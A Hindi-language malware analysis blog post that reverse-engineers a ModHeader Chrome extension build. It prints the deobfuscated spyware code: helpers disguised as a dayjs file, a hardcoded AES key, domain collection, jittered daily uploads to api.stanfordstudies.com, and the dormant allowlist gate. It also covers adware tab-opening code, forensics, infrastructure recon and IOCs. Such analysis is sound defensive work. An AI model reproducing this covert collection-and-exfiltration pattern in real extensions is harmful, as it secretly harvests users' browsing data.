कंटेंट पर जाएँ
HackIndex.io

ModHeader मैलवेयर: उस Chrome स्पाइवेयर की अंदरूनी पड़ताल जिसे Google ने हटाया

बनाया गया जुलाई 12, 2026 • अंतिम अपडेट जुलाई 14, 2026 • 30 min read • 10,769 व्यू

ModHeader मैलवेयर: उस Chrome स्पाइवेयर की अंदरूनी पड़ताल जिसे Google ने हटाया

8 लाख से ज़्यादा लोगों ने इस एक्सटेंशन पर भरोसा किया। फिर एक सुबह, Chrome ने इसे बंद कर दिया और मैलवेयर के रूप में फ़्लैग कर दिया। हालाँकि Google ने कोई वजह नहीं बताई। न तो यह बताया कि एक्सटेंशन क्या करता था, और न ही यह कि किस डेटा पर ख़तरा था।

वह एक्सटेंशन है ModHeader, एक लोकप्रिय डेवलपर टूल जो आपकी खोली गई हर साइट पर HTTP हेडर को फिर से लिखता है। इसलिए यहाँ मैलवेयर फ़्लैग होना बड़ी बात है। जवाब में, हमने हटाया गया बिल्ड डिस्क से निकाला और उसे रिवर्स किया। यह ModHeader मैलवेयर विश्लेषण पूरे मामले को क़दम-दर-क़दम खोलता है: छिपी हुई पाइपलाइन, फ़ोरेंसिक, और indicators of compromise।

TL;DR

पहले, यह रहा संक्षिप्त संस्करण। विवरण नीचे दिए गए हैं।

  • क्या: एक ModHeader बिल्ड (idgpnmonknjnojddfkpgkljpfnnfcklj, v7.0.18) में एक छिपा हुआ स्पाइवेयर SDK था। ग़ौरतलब है कि यह ID आधिकारिक ModHeader लिस्टिंग की है, और फ़ाइलों पर Chrome Web Store के हस्ताक्षर थे।

  • व्यवहार: यह उन डोमेन को इकट्ठा करता है जिन पर आप जाते हैं। फिर यह सूची को AES-GCM से एन्क्रिप्ट करता है। आख़िर में, यह दिन में एक बार डेटा को api.stanfordstudies.com/app/log पर POST करता है।

  • छिपने की जगह: दुर्भावनापूर्ण हेल्पर dayjs.min-*.js नाम की फ़ाइल के अंदर बैठे हैं। दूसरे शब्दों में, पेलोड एक डेट लाइब्रेरी का भेस धरता है।

  • स्थिति: कलेक्टर सुप्त (dormant) हालत में आता है, क्योंकि वह एक ख़ाली allowlist ($w = []) के पीछे बंद है। फिर भी, एंडपॉइंट, key और शेड्यूलर, सब मौजूद हैं।

  • Command-and-control: मॉनिटर करने लायक ऐसा कुछ है ही नहीं। अपलोड एकतरफ़ा है, इसलिए सर्वर वापस कमांड नहीं भेज सकता।

  • Adware भी: स्पाइवेयर के ऊपर से, यह हर अपडेट पर एक विज्ञापन टैब खोलता है और इन-ऐप विज्ञापन दिखाता है। यह व्यवहार managed एंटरप्राइज़ मशीनों पर भी चलता है।

  • पहुँच: Chrome पर ModHeader के 8 लाख+ उपयोगकर्ता हैं, साथ ही Edge पर भी इसका बड़ा यूज़र बेस है। चूँकि पेलोड आधिकारिक लिस्टिंग के साथ ही आता है, पूरा इंस्टॉल बेस दायरे में है।

  • टोह (recon): एक्सफ़िल होस्ट एक नक़ली "Stanford Studies - Research" मुखौटे और एक Lark मेलबॉक्स के पीछे छिपा है। इसके अलावा, कई कमज़ोर संकेत एक चीनी-भाषी ऑपरेटर की ओर इशारा करते हैं।

  • फ़ोरेंसिक: जिस मशीन का विश्लेषण किया गया, उस पर स्पाइवेयर कभी चला ही नहीं। हालाँकि, एक्सटेंशन ने सारी ब्राउज़िंग के पूरे HTTP हेडर लोकल रूप से जमा कर रखे थे।

आगे पढ़ें कि हमने इनमें से हर तथ्य कैसे खोजा।

पृष्ठभूमि: ModHeader मैलवेयर फ़्लैग क्यों मायने रखता है

ModHeader एक लोकप्रिय टूल है। डेवलपर इसका इस्तेमाल HTTP रिक्वेस्ट और रिस्पॉन्स हेडर बदलने के लिए करते हैं। इसलिए इसे आपके ट्रैफ़िक तक व्यापक पहुँच चाहिए। इसके काम के लिए यह पहुँच सामान्य है। फिर भी, यही पहुँच इस एक्सटेंशन को एक हाई-वैल्यू टारगेट बना देती है।

किसी भरोसेमंद एक्सटेंशन का मैलवेयर के लिए फ़्लैग होना ही दिलचस्प मामला है। या तो कोई क्लोन इस ब्रांड का चोला ओढ़े हुए है, या किसी भरोसेमंद एक्सटेंशन में अब एक इंजेक्ट किया गया पेलोड है। दोनों पैटर्न ब्राउज़र-एक्सटेंशन सप्लाई-चेन हमलों में अक्सर दिखते हैं। इसलिए यह ModHeader मैलवेयर विश्लेषण फ़्लैग को एक सुराग मानता है, फ़ैसला नहीं।

फ़ाइलें कहाँ रहती हैं

हटाया गया एक्सटेंशन अब भी डिस्क पर मौजूद था। सटीक पाथ आपके ब्राउज़र और ऑपरेटिंग सिस्टम पर निर्भर करता है। Chrome पर, यहाँ देखें:

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge वही पेलोड एक अलग ID के तहत भेजता है। इसलिए वहाँ भी जाँचें:

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader Firefox पर प्रकाशित नहीं है, इसलिए जाँचने के लिए कोई Mozilla ऐड-ऑन नहीं है।

पहली नज़र: manifest और अनुमतियाँ

हमने manifest से शुरुआत की। अनुमतियाँ आपको blast radius तुरंत बता देती हैं।

// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

अनुमतियों का सेट व्यापक है। इसमें <all_urls>, webRequest, declarativeNetRequest, scripting और हर पेज पर एक content script शामिल है। एक हेडर टूल के लिए यह दायरा अपेक्षित है। फिर भी, इसका मतलब है कि एक दुर्भावनापूर्ण बिल्ड का आपके वेब ट्रैफ़िक पर पहले से ही कब्ज़ा है। ग़ौरतलब है कि author फ़ील्ड में modhader@ लिखा है। यही टाइपो कोड में modhader-tool-root के रूप में दोबारा आता है।

असली सुराग: एक ग़ैर-वेंडर डोमेन

इसके बाद, हमने बंडलों से हर URL लिटरल निकाला। obfuscated कोड के लिए यह सबसे तेज़ triage क़दम है।

┌──(kali㉿kali)-[~]
└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

ज़्यादातर नतीजे modheader.com की ओर इशारा करते हैं, जो असली वेंडर है। हालाँकि, एक होस्ट साफ़ तौर पर बेमेल दिखता है:

  • https://api.stanfordstudies.com/app/log

एक "Stanford studies" डोमेन का हेडर टूल के अंदर कोई काम नहीं है। इसके अलावा, /app/log एक सामान्य ingest पाथ है। तो यही वह धागा बना जिसे खींचना था। यह एक ही फ़ाइल में है: assets/src/background-94ad634d.js।

ऑब्फ़सकेशन: ModHeader मैलवेयर का ठिकाना एक नक़ली dayjs

पेलोड अपने हेल्पर उस फ़ाइल से इंपोर्ट करता है जो डेट लाइब्रेरी जैसी दिखती है।

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

लेकिन इन exports का तारीख़ों से कोई लेना-देना नहीं है। इसके बजाय, ये स्पाइवेयर के ऑपरेशनल हेल्पर हैं।

// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight

यह जानबूझकर किया गया भटकाव है। रिव्यूअर इंपोर्ट पर सरसरी नज़र डालता है, "dayjs" देखता है, और आगे बढ़ जाता है। नतीजतन, ModHeader मैलवेयर के हेल्पर सबकी आँखों के सामने ही रिव्यू पार कर जाते हैं।

ModHeader मैलवेयर की एक्सफ़िल्ट्रेशन पाइपलाइन कैसे काम करती है

नीचे दिया गया डायग्राम ब्राउज़िंग से लेकर अपलोड तक का पूरा फ़्लो दिखाता है। नीचे के सभी symbols असली minified नाम हैं। हर ब्लॉक के बाद deobfuscated pseudocode दिया गया है।

ModHeader मैलवेयर एक्सफ़िल्ट्रेशन पाइपलाइन: डोमेन इकट्ठा करना, AES-GCM एन्क्रिप्शन, और api.stanfordstudies.com पर रोज़ाना अपलोड

चरण 1: पहचान और क्रिप्टो सामग्री

सबसे पहले, पेलोड एक key, एक एंडपॉइंट और एक फ़िंगरप्रिंट तैयार करता है।

let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

यहाँ दो बातें मायने रखती हैं।

  1. यह "एन्क्रिप्शन" ऑब्फ़सकेशन है, सुरक्षा नहीं। AES-GCM key cleartext में ही भेजी जाती है। इसलिए एक्सटेंशन रखने वाला कोई भी व्यक्ति पेलोड को डिक्रिप्ट कर सकता है। इसका एकमात्र काम बॉडी को सरसरी नेटवर्क जाँच से छिपाना है।

  2. फ़िंगरप्रिंट एक स्थिर ट्रैकिंग ID है। यह SHA-256(Date.now()) है। कोड इसे एक बार जनरेट करता है, फिर स्टोर कर लेता है। नतीजतन, यह एक रैंडम स्थायी पहचानकर्ता की तरह काम करता है।

चरण 2: हर नेविगेशन का host इकट्ठा करना

इसके बाद, कलेक्टर डोमेन रिकॉर्ड करता है। वह उन्हें एक एन्क्रिप्टेड वैल्यू को key बनाकर स्टोर करता है।

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}

तो स्टोर हर एन्क्रिप्टेड hostname को एक काउंटर से मैप करता है। संक्षेप में, ऑपरेटर को पता चल जाता है कि आप कौन-सी साइटें खोलते हैं और कितनी बार। पूरे URL और पाथ यहाँ इकट्ठा नहीं किए जाते। सिर्फ़ host इकट्ठा होता है।

चरण 3: रोज़ाना, फ़िंगरप्रिंट के हिसाब से jitter किया गया अपलोड

फिर कोड तय करता है कि डेटा कब भेजना है। यह दिन में ज़्यादा से ज़्यादा एक बार अपलोड करता है। इसके अलावा, यह एक तय घंटे का इंतज़ार करता है जो आपके फ़िंगरप्रिंट के लिए अनोखा होता है।

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}

यह jitter चालाकी भरा है। हर पीड़ित अलग समय पर अपलोड करता है। नतीजतन, नेटवर्क मॉनिटर पर इस ट्रैफ़िक को पकड़ना मुश्किल हो जाता है। सफलतापूर्वक भेजने के बाद, कोड सबूत मिटाने के लिए लोकल स्टोर साफ़ कर देता है।

चरण 4: kill switch एक ख़ाली allowlist है

आख़िर में, पूरी चेन टैब के lifecycle पर टिकी है। हालाँकि, एक guard इसे वहीं रोक देता है।

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}

यहाँ $w ख़ाली है। इसलिए $w.indexOf(browser) हमेशा -1 होता है। नतीजतन, guard हमेशा return कर देता है, और Zw कभी नहीं चलता। इस बिल्ड में कलेक्टर मौजूद है, पर सुप्त है। चूँकि $w एक हार्डकोडेड constant है, इसे चालू करने के लिए एक नया वर्ज़न चाहिए। दूसरे शब्दों में, असली ट्रिगर एक ऑटो-अपडेट है।

ModHeader मैलवेयर क्या नहीं करता

किसी चीज़ के न होने के बारे में सटीक रहना भी मायने रखता है। इसलिए हमने सबसे बुरे व्यवहारों की जाँच की, और वे नहीं मिले।

  • कोई remote code execution नहीं। न eval है, न new Function का दुरुपयोग, और न import("https://...")।

  • एक्सफ़िल पाथ में कोई credential चोरी नहीं। अपलोड में hostnames, फ़िंगरप्रिंट और ब्राउज़र का प्रकार जाता है। यह न कुकीज़ भेजता है, न पेज का कंटेंट।

  • कुकीज़ सिर्फ़ मापी जाती हैं, भेजी नहीं जातीं। एक metrics रूटीन स्टोरेज-अनुमान वाले UI के लिए document.cookie.length पढ़ता है। कुकी की वैल्यू कभी पेज से बाहर नहीं जाती।

  • कैप्चर किए गए हेडर लोकल ही रहते हैं। हेडर listeners एक्सटेंशन के अपने history व्यू के लिए लोकल स्टोरेज में लिखते हैं।

यह adware भी था: हर अपडेट पर विज्ञापन टैब

स्पाइवेयर सुप्त था। adware नहीं था। उपयोगकर्ताओं ने बताया कि नए विज्ञापन टैब बार-बार खुल रहे थे, यहाँ तक कि लॉक-डाउन की गई कंपनी मशीनों पर भी। कोड इसकी वजह बताता है।

हर अपडेट पर, एक्सटेंशन एक affiliate नेटवर्क का नया active टैब ज़बरदस्ती खोलता है।

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

दो बातें ख़ास तौर पर सामने आती हैं।

  • हर अपडेट एक टैब खोलता है। एक्सटेंशन चुपचाप और अक्सर ऑटो-अपडेट होते हैं। इसलिए विज्ञापन टैब बार-बार लौटता है, जो रिपोर्टों से मेल खाता है।

  • एंटरप्राइज़ मशीनें भी नहीं बचतीं। managed प्रोफ़ाइल मौजूद होने पर install टैब छोड़ दिया जाता है। हालाँकि, update टैब में ऐसी कोई जाँच नहीं है। इसलिए कंपनी डिप्लॉयमेंट में भी विज्ञापन टैब खुलते हैं।

एक्सटेंशन के अंदर ही एक दूसरा विज्ञापन चैनल भी है। पॉपअप वेंडर से विज्ञापन सेटिंग्स लाता है, और विज्ञापन दिखा या बंद कर सकता है।

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

UI तो इस मॉडल को साफ़-साफ़ लिख भी देता है: "विज्ञापन अस्थायी रूप से रोके जा रहे हैं। विज्ञापन स्थायी रूप से हटाने के लिए, किसी पेड प्लान में अपग्रेड करने पर विचार करें, या विज्ञापनों से बाहर निकलने के लिए किसी सीमित प्लान में डाउनग्रेड करें।"

तो एक्सटेंशन ने गुप्त स्पाइवेयर के ऊपर से घोषित adware भी भेजा। ये दोनों अलग-अलग हैं। adware दिखता है और परेशान करता है, जबकि स्पाइवेयर चुप रहता है। दोनों मिलकर उपयोगकर्ताओं की शिकायतों और मैलवेयर फ़्लैग, दोनों को समझाते हैं।

फ़ोरेंसिक: क्या ModHeader मैलवेयर कभी चला भी?

एक्सटेंशन का IndexedDB हटाए जाने के बाद भी बचा रहा। उसका आकार क़रीब 178 MB था।

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

इसलिए हमने इसे अपलोड मार्करों के लिए स्कैन किया।

┌──(kali㉿kali)-[~]
└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

नतीजे साफ़ थे:

  • stanfordstudies के पूरे 178 MB में शून्य हिट मिले।

  • lastUploadDate और uploadRecord के भी शून्य हिट मिले।

  • temp डोमेन स्टोर व्यावहारिक रूप से ख़ाली था।

इसलिए, इस प्रोफ़ाइल पर, कलेक्टर ने न कभी कोई डोमेन रिकॉर्ड किया और न कभी कुछ अपलोड किया। यह सुप्त $w = [] गेट से बिल्कुल मेल खाता है। संक्षेप में, आपके देखे गए डोमेन की सूची मशीन से बाहर नहीं गई।

178 MB का सरप्राइज़: एक लोकल हेडर भंडार

हालाँकि, एक चीज़ ने सच में 178 MB भर दिए। एक्सटेंशन की अपनी "history" सुविधा हर पेज के पूरे रिक्वेस्ट और रिस्पॉन्स हेडर स्टोर करती थी। सबसे ज़्यादा दिखने वाली keys थीं requestHeaders, responseHeaders, details और tabStartTime।

यह डेटा कभी डिस्क से बाहर नहीं गया। फिर भी, डिस्क पर पड़े-पड़े (at rest) भी यह संवेदनशील है। हेडर में अक्सर Authorization टोकन, सेशन कुकीज़ और इंटरनल URL होते हैं। इसलिए आपको यह स्टोर मिटा देना चाहिए, चाहे स्पाइवेयर चला हो या नहीं।

Command-and-control कहाँ है?

कई पाठक एक जायज़ सवाल पूछते हैं। क्या मॉनिटर करने के लिए कोई C2 चैनल है? संक्षेप में, नहीं।

अपलोड पूरी तरह एकतरफ़ा है। fetch की response बॉडी कभी पढ़ी ही नहीं जाती। न कोई .json() है, न .text(), और न जवाब पर कोई .ok जाँच। इसके अलावा, ऑपरेशनल constants हार्डकोडेड हैं और सर्वर से कभी दोबारा असाइन नहीं होते। इसलिए api.stanfordstudies.com एक drop box है, controller नहीं। यह एक्सटेंशन को कोई काम नहीं सौंप सकता।

असली कंट्रोल चैनल एक्सटेंशन का ऑटो-अपडेट है। सुप्त कलेक्टर को चालू करने के लिए, ऑपरेटर को एक नया वर्ज़न भेजना होगा। यही वह vector है जिसे स्टोर किसी एक्सटेंशन को डीलिस्ट करके बेअसर कर देते हैं।

डोमेन टोह: क्या यह ModHeader मैलवेयर एंडपॉइंट सच में दुर्भावनापूर्ण है?

हम कोड पर ही नहीं रुके। इसके बजाय, हमने passive और active recon से एक्सफ़िल डोमेन की प्रोफ़ाइल बनाई। तो यह रहा वह सब जो इंफ़्रास्ट्रक्चर ख़ुद उजागर करता है।

api.stanfordstudies.com एक छद्मवेशी एक्सफ़िल एंडपॉइंट है

पहली बात, नाम भ्रामक है। www.stanfordstudies.com पर मौजूद सार्वजनिक मुखौटे का शीर्षक "Stanford Studies - Research" है। हालाँकि, इसका Stanford University से कोई संबंध नहीं है। इसके अलावा, यह पेज एक ख़ाली खोल है। न कोई रिसर्च संगठन है, न प्राइवेसी पॉलिसी, न संपर्क। इसके उलट, कोई असली डेटा-संग्रह अध्ययन ये तीनों बातें साफ़ बताता है।

दूसरी बात, API होस्ट किसी वेबसाइट की तरह नहीं, बल्कि एक drop box की तरह व्यवहार करता है।

  • डोमेन 2022-05-09 को Squarespace के ज़रिए बनाया गया। इसका WHOIS प्राइवेसी के लिए छिपाया गया है।

  • इसका मेल larksuite.com (Lark / Feishu) से होकर जाता है। यह एक चीनी-भाषी ऑपरेटर की ओर इशारा करता है। ग़ौरतलब है कि यह कोड में डाली गई 盐 ("नमक") स्ट्रिंग से मेल खाता है।

  • api.stanfordstudies.com एक ही AWS EC2 होस्ट (3.147.61.167, region us-east-2) पर resolve होता है।

  • रूट एड्रेस की जाँच टाइमआउट हो गई। इसलिए होस्ट सिर्फ़ अपने ingest पाथ का जवाब देता है, सामान्य वेब ट्रैफ़िक का नहीं।

  • आख़िर में, urlscan.io के पास ठीक इसी एंडपॉइंट api.stanfordstudies.com/app/log के रिकॉर्ड हैं। उसके पास इस होस्ट के नवंबर 2023 तक पुराने स्कैन भी हैं।

कुल मिलाकर, यह अकादमिक रिसर्च का भेस धरे एक गुप्त ingest एंडपॉइंट है। इसलिए हम इसे दुर्भावनापूर्ण मानते हैं।

इंफ़्रास्ट्रक्चर कहाँ से आता है

फिर हमने होस्टिंग और उसके इतिहास का पता लगाया। नतीजा एक आम, प्राइवेसी से ढका सेटअप है, जिसका अतीत उसके काग़ज़ात से कहीं लंबा है।

  • होस्ट। एंडपॉइंट एक ही AWS EC2 इंस्टेंस 3.147.61.167 पर चलता है, जिसका reverse DNS ec2-3-147-61-167.us-east-2.compute.amazonaws.com है। इससे यह AWS us-east-2 (Columbus, Ohio, AS16509 Amazon) में आता है।

  • दिखने से ज़्यादा पुराना। WHOIS में निर्माण की तारीख़ 2022 दर्ज है। हालाँकि, certificate transparency इस डोमेन के सर्टिफ़िकेट 2017 तक पीछे दिखाता है। यानी यह नाम मौजूदा रजिस्ट्रेशन से पुराना है, जो दोबारा रजिस्ट्रेशन या मालिक बदलने की ओर इशारा करता है।

  • अब भी सक्रिय। सबसे नया सर्टिफ़िकेट मार्च 2026 में जारी हुआ। इस बीच, urlscan.io ने /app/log एंडपॉइंट को पूरे 2025 में और फिर जुलाई 2026 में दर्ज किया।

  • एक असली ऑपरेशन। api और www के अलावा, डोमेन पर dev, devlog और devos सबडोमेन भी दिखते हैं। यह एक बाक़ायदा मेंटेन किया जाने वाला dev और ops सेटअप है, कोई एक बार इस्तेमाल करके फेंक दी जाने वाली चीज़ नहीं।

फिर भी, रजिस्ट्रार का WHOIS प्राइवेसी के लिए छिपाया गया है, और सर्वर साझा AWS रेंज पर हैं। इसलिए सुराग किसी नाम तक पहुँचने से पहले ही ख़त्म हो जाता है।

सप्लाई-चेन संदर्भ: यह आधिकारिक ModHeader ID है

एक बात मामले को और गंभीर बना देती है। एक्सटेंशन ID idgpnmonknjnojddfkpgkljpfnnfcklj आधिकारिक ModHeader लिस्टिंग है, जिसके 8 लाख से ज़्यादा उपयोगकर्ता हैं। इसके अलावा, यह बिल्ड Chrome Web Store के हस्ताक्षरों (_metadata/verified_contents.json) के साथ आया था। चूँकि Chrome छेड़छाड़ की गई फ़ाइलें चलाने से इनकार करता है, विश्लेषित कोड हस्ताक्षरित वितरण ही है, कोई लोकल रूप से बदला गया क्लोन नहीं।

हालाँकि, सिर्फ़ बाइनरी के आधार पर हम यह साबित नहीं कर सकते कि पेलोड किसने जोड़ा। यह मालिकाना हक़ के ट्रांसफ़र, किसी इंजेक्ट किए गए monetization SDK, या वेंडर के अपने फ़ैसले का नतीजा हो सकता है। यह पैटर्न पूरी इंडस्ट्री में अच्छी तरह दर्ज है। इसलिए हम सबूत सामने रखते हैं और लेखक कौन है, यह सवाल खुला छोड़ते हैं।

हर डोमेन पर फ़ैसला

डोमेन

ModHeader मैलवेयर में भूमिका

इंफ़्रास्ट्रक्चर

फ़ैसला

api.stanfordstudies.com

एन्क्रिप्टेड डोमेन-संग्रह का ingest

AWS EC2, रूट तक पहुँच नहीं, "Stanford" का भेस, Lark मेल

दुर्भावनापूर्ण

www.extensions-hub.com

Adware: हर अपडेट पर खुलने वाला विज्ञापन टैब

AWS S3 + CloudFront, affiliate SaaS, कई एक्सटेंशनों में साझा

प्राइवेसी में दख़ल देने वाला adware

modheader.com

वेंडर क्लाउड सिंक (तुलना के लिए दिखाया गया)

AWS + Google Workspace, पारदर्शी

वैध

पहुँच और attribution: कौन ख़तरे में है, और इसके पीछे कौन है?

कितने उपयोगकर्ता ख़तरे में हैं

blast radius बड़ा है, क्योंकि यह मुख्य लिस्टिंग है। यह दो ब्राउज़रों तक भी फैला है।

  • Chrome: 8 लाख+ इंस्टॉल, "ModHeader" नाम से प्रकाशित।

  • Edge: वही एक्सटेंशन ID opgbiafapkbbnbnjcdomjaghbckfkglc के तहत आता है, और उसका अपना बड़ा इंस्टॉल बेस है। Microsoft ने इसे 2026-07-03 को Edge Add-ons स्टोर से हटा दिया।

  • Firefox: कोई आधिकारिक ModHeader ऐड-ऑन मौजूद नहीं है, इसलिए Firefox उपयोगकर्ता प्रभावित नहीं हैं।

  • रेटिंग: 1,226 वोटों से 2.91 स्टार। लंबे समय से चल रहे किसी dev टूल के लिए यह असामान्य रूप से कम है।

  • लिस्टिंग की भाषाएँ: अंग्रेज़ी और सरलीकृत चीनी (zh-CN)।

  • लिस्टिंग का आख़िरी अपडेट: 2026-07-01, जो विश्लेषित v7.0.18 बिल्ड से मेल खाता है।

कम रेटिंग संयोग नहीं है। हाल की समीक्षाएँ पहले से ही इस एक्सटेंशन को adware व्यवहार और affiliate विज्ञापनों के लिए फ़्लैग करती हैं। हालाँकि, वे विज्ञापन घोषित हैं, और एक्सटेंशन opt-out का विकल्प देता है। इसलिए वे एक अलग, खुली शिकायत हैं। stanfordstudies.com कलेक्टर इसका उल्टा है। यह गुप्त है, एन्क्रिप्टेड है, और न कोई सूचना देता है, न opt-out। इसलिए दोनों को आपस में न मिलाएँ: घोषित विज्ञापन भरोसे की समस्या हैं, जबकि छिपा हुआ डोमेन-संग्रह ही असली स्पाइवेयर है।

Threat actor के संकेत (कम भरोसे के साथ)

हम ऑपरेटर की तस्वीर सिर्फ़ मोटे तौर पर बना सकते हैं। अहम बात यह है कि हम किसी समूह का नाम नहीं लेते, और इनमें से कोई भी संकेत सबूत नहीं है।

  • Lark पर मेल। एक्सफ़िल डोमेन अपनी ईमेल larksuite.com (Lark / Feishu) से रूट करता है, जो चीनी-भाषी टीमों में आम सुइट है।

  • कोड में एक चीनी स्ट्रिंग। फ़िंगरप्रिंट salt में 盐 अक्षर शामिल है, जिसका मतलब "नमक" है।

  • चीनी भाषा के निशान। लिस्टिंग में एक सरलीकृत चीनी locale है, और content script baidu.com को ख़ास तौर पर अलग से हैंडल करता है।

  • एक false-flag मुखौटा। "Stanford Studies" पेज एक भरोसेमंद अमेरिकी यूनिवर्सिटी का नाम उधार लेता है। साफ़ है कि यह भटकाव है, कोई असली संबंध नहीं।

कुल मिलाकर, ये संकेत कमज़ोर रूप से एक चीनी-भाषी ऑपरेटर की ओर इशारा करते हैं। फिर भी, इंफ़्रास्ट्रक्चर AWS पर है, और WHOIS प्राइवेसी के लिए छिपाया गया है। इसलिए सिर्फ़ खुले स्रोतों के आधार पर हम इसे किसी नामित actor से नहीं जोड़ सकते।

प्रभाव का आकलन

एक नज़र में जोखिम यह है।

वेक्टर

v7.0.18 में स्थिति

उजागर डेटा

गंभीरता

stanfordstudies.com को डोमेन-संग्रह

सुप्त; कभी नहीं चला

देखे गए hostnames, फ़िंगरप्रिंट, ब्राउज़र

उच्च क्षमता

विज्ञापन टैब + इन-ऐप विज्ञापन

सक्रिय

हर अपडेट पर नया टैब, managed मशीनों सहित

मध्यम (अवांछित)

लोकल हेडर history

सक्रिय, सिर्फ़ लोकल

सारी ब्राउज़िंग के पूरे हेडर

at rest मध्यम

अनुमतियों की पहुँच

मौजूद

सारा HTTP ट्रैफ़िक पढ़ना/बदलना

उच्च संभावित ख़तरा

सीधे शब्दों में, इस मशीन से कुछ भी एक्सफ़िल्ट्रेट नहीं हुआ। फिर भी ModHeader मैलवेयर एक पूरी, key से लैस, एंडपॉइंट के लिए तैयार स्पाइवेयर पाइपलाइन के साथ आया था। सक्रिय होने से यह सिर्फ़ एक कोड बदलाव दूर था। इस बीच, यह संवेदनशील हेडर डेटा लोकल रूप से जमा कर रहा था। यह मेल takedown का ठोस आधार है।

पहचान और समाधान

अगर आप प्रभावित उपयोगकर्ता हैं

इन क़दमों को क्रम से अपनाएँ।

  1. पुष्टि करें कि ब्राउज़र ने एक्सटेंशन को disable कर दिया है। Chrome और Edge आमतौर पर यह अपने-आप करते हैं।

  2. नीचे दी गई बची हुई स्टोरेज डायरेक्टरी हटाएँ।

  3. api.stanfordstudies.com के लिए DNS को ब्लॉक करें और लॉग करें।

  4. हेडर टूल सिर्फ़ किसी भरोसेमंद स्रोत से ही दोबारा इंस्टॉल करें।

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

Edge पर, वही फ़ोल्डर Microsoft Edge/ के तहत होते हैं, Google/Chrome/ के तहत नहीं, और एक्सटेंशन ID opgbiafapkbbnbnjcdomjaghbckfkglc है।

अगर आप किसी फ़्लीट की सुरक्षा संभालते हैं

ये hunts और heuristics इस्तेमाल करें।

  • अनपैक की गई एक्सटेंशन डायरेक्टरियों में नीचे दी गई IOC स्ट्रिंग्स के लिए grep करें।

  • किसी भी ऐसे एक्सटेंशन पर अलर्ट करें जो किसी ग़ैर-वेंडर डोमेन पर एक अपारदर्शी, एन्क्रिप्टेड बॉडी POST करता है।

